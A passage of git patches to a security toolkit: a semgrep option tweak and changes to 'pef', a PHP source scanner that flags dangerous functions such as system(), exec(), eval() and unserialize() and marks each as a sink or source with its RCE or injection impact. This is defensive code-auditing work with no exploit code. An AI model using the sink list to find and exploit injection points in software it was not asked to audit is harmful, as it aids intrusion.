00:00:00 2001 From: Rafal Janicki Date: Thu, 27 Jul 2023 00:26:47 +0200 Subject: [PATCH 212/289] [s0mbra] update phpsast --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3950fbf..70f72c7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -609,7 +609,7 @@ graphw00f() { php_sast() { clear echo -e "$BLUE[s0mbra] Running static code analysis...$CYAN" - semgrep scan --config=auto --sarif -o ./semgrep.sarif $1 + semgrep scan --config=auto --severity ERROR --dataflow-traces --sarif -o ./semgrep.sarif $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 24dd07b90fc4f71abebdcfab6a3c41ec4f79bba5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 15 Sep 2023 17:10:35 +0100 Subject: [PATCH 213/289] [s0mbra] create sarif file using filename (php_sast()) --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 70f72c7..5936796 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -609,7 +609,7 @@ graphw00f() { php_sast() { clear echo -e "$BLUE[s0mbra] Running static code analysis...$CYAN" - semgrep scan --config=auto --severity ERROR --dataflow-traces --sarif -o ./semgrep.sarif $1 + semgrep scan --config=auto --severity ERROR --dataflow-traces --sarif -o ./$1.sarif $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From b6800a8d1e19402c8f69873872cdf46e7c8b8fbc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 01:39:22 +0100 Subject: [PATCH 214/289] [pef] Filter results type by sinks/sources --- pef/imports/pefdocs.py | 3 ++- pef/pef.py | 41 ++++++++++++++++++++++++++++------------- 2 files changed, 30 insertions(+), 14 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index f0f7044..4523c62 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -93,7 +93,8 @@ "Import variables into the current symbol table from an array", "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", "Code Injection", - "high" + "high", + "sink" ], "ini_set()": [ "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", diff --git a/pef/pef.py b/pef/pef.py index 3b6e501..7274cf0 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -154,7 +154,7 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, level, filename, skip_vendor=False): + def __init__(self, recursive, level, source_or_sink, filename, skip_vendor=False): """ constructor """ @@ -162,7 +162,8 @@ def __init__(self, recursive, level, filename, skip_vendor=False): self.level = level # scan only for level set of functions self.filename = filename # name of file/folder to scan self.skip_vendor = skip_vendor - + self.source_or_sink = source_or_sink + self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -189,13 +190,14 @@ def analyse_line(self, l, i, fn, f, line): # @ prevents from output being echoed if fn in line or atfn in line: if fn == "`": - res = self.print_code_line(f.name, l, i, fn, self.severity, self.level) + res = self.print_code_line( + f.name, l, i, fn, self.severity, self.level, self.source_or_sink) else: res = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level) + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, self.source_or_sink) return res - def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): """ prints formatted code line """ @@ -209,15 +211,17 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): found = 0 # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): - impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] + doc = pefdocs.exploitableFunctionsDesc.get(fn.strip()) + impact = doc[3] if (impact.upper() in level.upper()) or level == 'ALL': - if len(_line) > 255: - _line = _line[:120] + \ - f" (...truncated -> line is {len(_line)} characters long)" - else: - print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, beautyConsole.getColor(impact_color[impact]), beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) - found += 1 + if len(doc) == 5 and source_or_sink == doc[4] or source_or_sink == 'ALL': + if len(_line) > 255: + _line = _line[:120] + \ + f" (...truncated -> line is {len(_line)} characters long)" + print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, beautyConsole.getColor( + impact_color[impact]), beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) + found += 1 if impact not in severity.keys(): severity[impact] = 1 else: @@ -273,6 +277,7 @@ def is_comment(self, line: str) -> bool: line = re.sub(r"\s+", "", line) return line.startswith("/") or line.startswith("*") + # main program if __name__ == "__main__": @@ -288,6 +293,10 @@ def is_comment(self, line: str) -> bool: "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") + parser.add_argument( + "-S", "--source", help="show only sources", action="store_true") + parser.add_argument( + "-K", "--sink", help="show only sinks", action="store_true") parser.add_argument( "-f", "--file", @@ -296,8 +305,14 @@ def is_comment(self, line: str) -> bool: args = parser.parse_args() level = args.level.upper() if args.level else 'ALL' + source_or_sink = 'ALL' + if args.source: + source_or_sink = 'source' + if args.sink: + source_or_sink = 'sink' + filename = args.file # main orutine starts here - engine = PefEngine(args.recursive, level, filename, args.skip_vendor) + engine = PefEngine(args.recursive, level, source_or_sink, filename, args.skip_vendor) engine.run() From aced1a1c2fd205ad8f2f6700837ca3a8ee6365a5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 01:45:23 +0100 Subject: [PATCH 215/289] [pef] Filter results type by sinks/sources --- pef/imports/pefdocs.py | 192 +++++++++++++++++++++++++++-------------- 1 file changed, 128 insertions(+), 64 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 4523c62..1863d39 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -9,43 +9,50 @@ "Allows to execute system command", "`$command`", "RCE", - "critical" + "critical", + "sink" ], "system()": [ "Allows to execute system command passed as an argument", "system ( string $command [, int &$return_var ] ) : string", "RCE", - "critical" + "critical", + "sink" ], "exec()": [ "exec - Execute an external program", "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", "RCE", - "critical" + "critical", + "sink" ], "call_user_func_array()": [ "Call a callback with an array of parameters", "call_user_func_array ( callable $callback , array $param_arr ) : mixed", "RCE", - "high" + "high", + "sink" ], "parse_url()": [ "parse_url — Parse a URL and return its components", "parse_url(string $url, int $component = -1): mixed", "SSRF, Filter Bypass", - "medium" + "medium", + "sink" ], "parse_str()": [ "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", "parse_str ( string $encoded_string [, array &$result ] ) : void" "Code Injection", - "high" + "high", + "sink" ], "eval()": [ "Evaluate a string as PHP code", "eval ( string $code ) : mixed", "RCE", - "critical" + "critical", + "sink" ], "preg_replace()": [ "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", @@ -57,37 +64,43 @@ "DEPRECATED as of PHP 7.2.0 - Create an anonymous (lambda-style) function. Creates an anonymous function from the parameters passed, and returns a unique name for it.", "create_function ( string $args , string $code ) : string", "Code Injection, RCE", - "medium" + "medium", + "sink" ], "passthru()": [ "Execute an external program and display raw output", "passthru ( string $command [, int &$return_var ] ) : void", "RCE", - "critical" + "critical", + "sink" ], "shell_exec()": [ "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", "shell_exec ( string $cmd ) : string", "RCE", - "critical" + "critical", + "sink" ], "popen()": [ "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", "popen ( string $command , string $mode ) : resource", "Code Injection", - "medium" + "medium", + "sink" ], "proc_open()": [ "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", "Code Injection", - "medium" + "medium", + "sink" ], "pcntl_exec()": [ "Executes the program with the given arguments.", "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", "RCE", - "critical" + "critical", + "sink" ], "extract()": [ "Import variables into the current symbol table from an array", @@ -106,7 +119,8 @@ "Sends an email.", "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", "Arbitrary mail sending", - "low" + "low", + "sink" ], "echo": [ "Outputs all parameters. No additional newline is appended.", @@ -118,7 +132,8 @@ "unserialize() takes a single serialized variable and converts it back into a PHP value.", "unserialize ( string $str [, array $options ] ) : mixed", "Code Injection, RCE (in certain conditions)", - "high" + "high", + "sink" ], "assert()": [ "assert() will check the given assertion and take appropriate action if its result is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert() - ONLY PNP <7.2.0", @@ -130,115 +145,134 @@ "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", "call_user_func ( callable $callback [, mixed $... ] ) : mixed", "Code Injection", - "medium" + "medium", + "sink" ], "ereg_replace()": [ "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", "ereg_replace ( string $pattern , string $replacement , string $string ) : string", "Code Injection", - "low" + "low", + "sink" ], "eregi_replace()": [ "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", "eregi_replace ( string $pattern , string $replacement , string $string ) : string", "Code Injection", - "low" + "low", + "sink" ], "mb_ereg_replace()": [ "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", "mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = \"msr\" ] ) : string", "Code Injection", - "low" + "low", + "sink" ], "mb_eregi_replace()": [ "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", "mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = \"msri\" ] ) : string", "Code Injection", - "low" + "low", + "sink" ], "virtual()": [ "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", "virtual ( string $filename ) : bool", "Local File Include, Remote File Include", - "low" + "low", + "sink" ], "readfile()": [ "Reads a file and writes it to the output buffer.", "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", "Code Injection, LFI, RFI", - "high" + "high", + "source" ], "file_get_contents()": [ "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", "Code Injection, LFI, RFI", - "high" + "high", + "source" ], "show_source()": [ "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", "Information Disclosure", - "low" + "low", + "source" ], "highlight_file()": [ "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", "Information Disclosure", - "low" + "low", + "source" ], "fopen()": [ "fopen() binds a named resource, specified by filename, to a stream.", "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", "Code Injection, LFI, RFI", - "low" + "low", + "source" ], "file()": [ "Reads an entire file into an array.", "ile ( string $filename [, int $flags = 0 [, resource $context ]] ) : array", "Code Injection, LFI, RFI", - "low" + "low", + "source" ], "fpassthru()": [ "Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.", "fpassthru ( resource $handle ) : int", "Code Injection, LFI, RFI, RCE (depending on the context)", - "low" + "low", + "sink" ], "fsockopen()": [ "Initiates a socket connection to the resource specified by hostname.", "fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(\"default_socket_timeout\") ]]]] ) : resource", "RCE (depends on context)", - "low" + "low", + "sink" ], "gzopen()": [ "Opens a gzip (.gz) file for reading or writing.", "gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] ) : resource", "Code Injection, LFI (depends on context)", - "low" + "low", + "sink" ], "gzread()": [ "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", "gzread ( resource $zp , int $length ) : string", "Code Injection, LFI", - "low" + "low", + "sink" ], "gzfile()": [ "Read entire gz-file into an array. This function is identical to readgzfile(), except that it returns the file in an array.", "gzfile ( string $filename [, int $use_include_path = 0 ] ) : array", "Code Injection, LFI", - "low" + "low", + "sink" ], "gzpassthru()": [ "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", "gzpassthru ( resource $zp ) : int", "Code Injection, LFI", - "low" + "low", + "sink" ], "readgzfile()": [ "Output a gz-file. Reads a file, decompresses it and writes it to standard output.", "readgzfile ( string $filename [, int $use_include_path = 0 ] ) : int", "Code Injection, LFI, RCE", - "medium" + "medium", + "sink" ], "mssql_query()": [ "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", @@ -250,37 +284,43 @@ "Sends an SQL statement to the database server.", "odbc_exec ( resource $connection_id , string $query_string [, int $flags ] ) : resource", "SQL Injection", - "high" + "high", + "sink" ], "sqlsrv_query()": [ "Prepares and executes a query", "sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] ) : mixed", "SQL Injection", - "medium" + "medium", + "sink" ], "PDO::query()": [ "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", "SQL Injection", - "medium" + "medium", + "sink" ], "move_uploaded_file()": [ "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", "move_uploaded_file ( string $filename , string $destination ) : bool", "File Include", - "low" + "low", + "sink" ], "print()": [ "Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.", "print ( string $arg ) : int", "XSS, Content/HTML Injection", - "low" + "low", + "sink" ], "printf()": [ "Produces output according to format.", "printf ( string $format [, mixed $... ] ) : int", "XSS, Content/HTML Injection", - "low" + "low", + "sink" ], "ldap_search()": [ "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", @@ -292,49 +332,57 @@ "Send a raw HTTP header", "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", "Header Injection, Open Redirect", - "low" + "low", + "sink" ], "sqlite_query()": [ "SQLiteDatabase::query - Executes a query against a given database and returns a result handle", "sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] ) : resource", "SQL Injection", - "medium" + "medium", + "sink" ], "pg_query()": [ "pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.", "pg_query ([ resource $connection ], string $query ) : resource", "SQL Injection", - "medium" + "medium", + "sink" ], "mysql_query()": [ "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : mixed", "SQL Injection", - "high" + "high", + "sink" ], "mysqli_query()": [ "Performs a query against the database.", "mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", "SQL Injection", - "medium" + "medium", + "sink" ], "mysqli::query()": [ "Performs a query against the database.", "mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", "SQL Injection", - "medium" + "medium", + "sink" ], "apache_setenv()": [ "Sets the value of the Apache environment variable specified by variable.", "apache_setenv ( string $variable , string $value [, bool $walk_to_top = FALSE ] ) : bool", "ENV server variables overwrite", - "low" + "low", + "sink" ], "dl()": [ "Loads a PHP extension at runtime", "dl ( string $library ) : bool", "Code Injection, RCE (in certain conditions)", - "low" + "low", + "sink" ], "escapeshellarg()": [ "Escape a string to be used as a shell argument", @@ -388,7 +436,8 @@ "Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.", "putenv ( string $setting ) : bool", "ENV variable create/owerwrite", - "low" + "low", + "sink" ], "symlink()": [ "Creates a symbolic link to the existing target with the specified name link.", @@ -406,37 +455,43 @@ "Execute the given cURL session. This function should be called after initializing a cURL session and all the options for the session are set.", "curl_exec ( resource $ch ) : mixed", "SSRF", - "medium" + "medium", + "sink" ], "__destruct()": [ "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", "__destruct ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", - "high" + "high", + "sink" ], "__wakeup()": [ "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", "__wakeup ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "medium", + "sink" ], "__sleep()": [ "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", "public __sleep ( void ) : array", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "medium", + "sink" ], "__call()": [ "Triggered when invoking inaccessible methods in an object context", "public __call ( string $name , array $arguments ) : mixed", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "medium", + "sink" ], "__callStatic()": [ "Triggered when invoking inaccessible methods in a static context.", "public static __callStatic ( string $name , array $arguments ) : mixed", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "medium", + "sink" ], "filter_var()": [ "Filters a variable with a specified filter", @@ -448,54 +503,63 @@ "Write data to a file", "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", "Arbitrary file write", - "medium" + "medium", + "source" ], "SELECT.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", - "medium" + "medium", + "source" ], "INSERT.*INTO": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", - "medium" + "medium", + "source" ], "UPDATE.*": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", - "medium" + "medium", + "source" ], "DELETE.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", - "medium" + "medium", + "source" ], "$_POST": [ "$_POST reference found", "", "", - "critical" + "critical", + "source" ], "$_GET": [ "$_GET reference found", "", "", - "critical" + "critical", + "source" ], "$_REQUEST": [ "$_REQUEST reference found", "", "", - "critical" + "critical", + "source" ], "$_COOKIES": [ "$_COOKIES reference found", "", "", - "critical" + "critical", + "source" ] } From dcc272d0371f72b0298a5ea194df789428104beb Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 10:17:11 +0100 Subject: [PATCH 216/289] [pef] Improvements; fixed error with -r when filename was provided instead of directory name --- pef/pef.py | 24 +++++++++++++++--------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 7274cf0..74492a6 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -160,9 +160,9 @@ def __init__(self, recursive, level, source_or_sink, filename, skip_vendor=False """ self.recursive = recursive # recursive scan files in folder(s) self.level = level # scan only for level set of functions + self.source_or_sink = source_or_sink # show only sinks or sources self.filename = filename # name of file/folder to scan self.skip_vendor = skip_vendor - self.source_or_sink = source_or_sink self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -215,7 +215,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou impact = doc[3] if (impact.upper() in level.upper()) or level == 'ALL': - if len(doc) == 5 and source_or_sink == doc[4] or source_or_sink == 'ALL': + if (len(doc) == 5 and source_or_sink == doc[4]) or source_or_sink == 'ALL': if len(_line) > 255: _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" @@ -235,6 +235,7 @@ def main(self, src): f = open(src, "r", encoding="ISO-8859-1") i = 0 res = None + file_found = 0 all_lines = f.readlines() for l in all_lines: i += 1 @@ -244,15 +245,17 @@ def main(self, src): for fn in exploitableFunctions: if self.analyse_line(l, i, fn, f, line) == True: res = True - return res # return how many findings in current file + file_found += 1 + return (res, file_found) # return how many findings in current file def run(self): """ runs scanning """ + total_found = 0 print( f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") - if self.recursive: + if os.path.isdir(self.filename) and self.recursive: for root, subdirs, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue @@ -261,14 +264,16 @@ def run(self): extension = f.split('.')[-1:][0] if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 - res = self.main(os.path.join(root, f)) + (res, file_found) = self.main(os.path.join(root, f)) if res is not None and f != prev_filename: print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") prev_filename = f + total_found += file_found else: self.scanned_files = self.scanned_files + 1 - self.found_entries = self.main(self.filename) - print("\n") + (res, self.found_entries) = self.main(self.filename) + # print summary + print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") def is_comment(self, line: str) -> bool: """ @@ -310,9 +315,10 @@ def is_comment(self, line: str) -> bool: source_or_sink = 'source' if args.sink: source_or_sink = 'sink' - + filename = args.file # main orutine starts here - engine = PefEngine(args.recursive, level, source_or_sink, filename, args.skip_vendor) + engine = PefEngine(args.recursive, level, source_or_sink, + filename, args.skip_vendor) engine.run() From 29a50bbcd6bb82adb8e2d3c8e5a7f77d335eab37 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 19:35:21 +0100 Subject: [PATCH 217/289] [pef] Improvements; fixed error with -r when filename was provided instead of directory name --- pef/pef.py | 31 +++++++++++++++++++------------ 1 file changed, 19 insertions(+), 12 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 74492a6..f505f67 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -154,14 +154,14 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, level, source_or_sink, filename, skip_vendor=False): + def __init__(self, level, source_or_sink, filename, dirs_to_scan, skip_vendor=False): """ constructor """ - self.recursive = recursive # recursive scan files in folder(s) self.level = level # scan only for level set of functions self.source_or_sink = source_or_sink # show only sinks or sources self.filename = filename # name of file/folder to scan + self.dirs_to_scan = dirs_to_scan # name(s) of dirs to scan self.skip_vendor = skip_vendor self.scanned_files = 0 # number of scanned files in total @@ -255,10 +255,13 @@ def run(self): total_found = 0 print( f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") - if os.path.isdir(self.filename) and self.recursive: - for root, subdirs, files in os.walk(self.filename): + + if os.path.isdir(self.filename): + for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue + # if self.dirs_to_scan and self.not_in_dirs_to_scan(root): + # continue prev_filename = "" for f in files: extension = f.split('.')[-1:][0] @@ -282,7 +285,6 @@ def is_comment(self, line: str) -> bool: line = re.sub(r"\s+", "", line) return line.startswith("/") or line.startswith("*") - # main program if __name__ == "__main__": @@ -292,12 +294,10 @@ def is_comment(self, line: str) -> bool: ) filename = '.' # initial value for file/dir to scan is current directory - parser.add_argument( - "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") parser.add_argument( - "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") + "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL") parser.add_argument( "-S", "--source", help="show only sources", action="store_true") parser.add_argument( @@ -305,20 +305,27 @@ def is_comment(self, line: str) -> bool: parser.add_argument( "-f", "--file", - help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)", - required=True) + help="File or directory name to scan", + ) + parser.add_argument( + "-d", + "--dir", + help="List of directories to scan (mutually exclusive with -f flag)", + ) args = parser.parse_args() level = args.level.upper() if args.level else 'ALL' source_or_sink = 'ALL' + if args.source: source_or_sink = 'source' if args.sink: source_or_sink = 'sink' + dirs_to_scan = args.dir filename = args.file # main orutine starts here - engine = PefEngine(args.recursive, level, source_or_sink, - filename, args.skip_vendor) + engine = PefEngine(level, source_or_sink, + filename, dirs_to_scan, args.skip_vendor) engine.run() From 6d6aa4ff2e9e2ae234b8ca47cfab2ce7022ebb0c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 19:36:06 +0100 Subject: [PATCH 218/289] [pef] update --- pef/imports/pefdocs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 1863d39..5c0d9cb 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -563,3 +563,4 @@ "source" ] } + From 22b28c1a5055721e1532269aa416fc1850243845 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 19:36:33 +0100 Subject: [PATCH 219/289] [pef] update --- pef/imports/pefdocs.py | 1 - 1 file changed, 1 deletion(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 5c0d9cb..1863d39 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -563,4 +563,3 @@ "source" ] } - From 0340d5f6869a5308c5536fe2f367583350ae37ce Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Sep 2023 20:52:07 +0100 Subject: [PATCH 220/289] [pef] print summary at the end of findings --- pef/pef.py | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index f505f67..28e6fde 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -1,10 +1,10 @@ #!/usr/bin/env python3 # -# PHP Exploitable Functions/Vars Scanner +# PHP source code advanced grep utility # bl4de | github.com/bl4de | hackerone.com/bl4de # -# pylint: disable=C0103 +# pylint: disable=invalid-name, missing-class-docstring, import-error, too-few-public-methods, unused-import, no-self-use,missing-function-docstring,consider-using-enumerate,consider-iterating-dictionary # //TODO: # - allow to scan folder without subdirs @@ -159,7 +159,7 @@ def __init__(self, level, source_or_sink, filename, dirs_to_scan, skip_vendor=Fa constructor """ self.level = level # scan only for level set of functions - self.source_or_sink = source_or_sink # show only sinks or sources + self.source_or_sink = source_or_sink # show only sinks or sources self.filename = filename # name of file/folder to scan self.dirs_to_scan = dirs_to_scan # name(s) of dirs to scan self.skip_vendor = skip_vendor @@ -255,7 +255,7 @@ def run(self): total_found = 0 print( f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") - + if os.path.isdir(self.filename): for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: @@ -276,7 +276,7 @@ def run(self): self.scanned_files = self.scanned_files + 1 (res, self.found_entries) = self.main(self.filename) # print summary - print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") + self.print_summary(total_found) def is_comment(self, line: str) -> bool: """ @@ -285,6 +285,15 @@ def is_comment(self, line: str) -> bool: line = re.sub(r"\s+", "", line) return line.startswith("/") or line.startswith("*") + def print_summary(self, total_found: int) -> None: + """ + prints summary at the bottom of search results + """ + print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") + print( + f"{beautyConsole.getColor('white')}Cmd arguments: {' '.join(sys.argv[1:])}\n") + + # main program if __name__ == "__main__": From 06bc92dd6d44ee8868be4fb2cb733744a1704915 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Sep 2023 01:50:35 +0100 Subject: [PATCH 221/289] [pef] output improvements --- pef/pef.py | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 28e6fde..c8a2b7d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 # -# PHP source code advanced grep utility +# PHP source code grep tool # bl4de | github.com/bl4de | hackerone.com/bl4de # @@ -12,9 +12,14 @@ # - exclude 'echo' lines without HTML tags -""" -pef.py - PHP source code advanced grep utility -""" +## Sinks and Sources +# +# for an SQLi, you need a code that makes a raw query to the database +# for an SSRF, you need a code that makes an HTTP request +# for an LFI, you need a code that reads a file +# for an XXE, you need a code that parses an XML with a concrete configuration +# for a DOM-XSS, you need a code that executes HTML or JavaScript +# import sys import os import re @@ -253,8 +258,9 @@ def run(self): runs scanning """ total_found = 0 + os.system('clear') print( - f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") + f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") if os.path.isdir(self.filename): for root, _, files in os.walk(self.filename): From d40e6c05abbab353e546ef670eb52a9d269e2d86 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Sep 2023 10:57:21 +0100 Subject: [PATCH 222/289] [pef] update description --- pef/pef.py | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 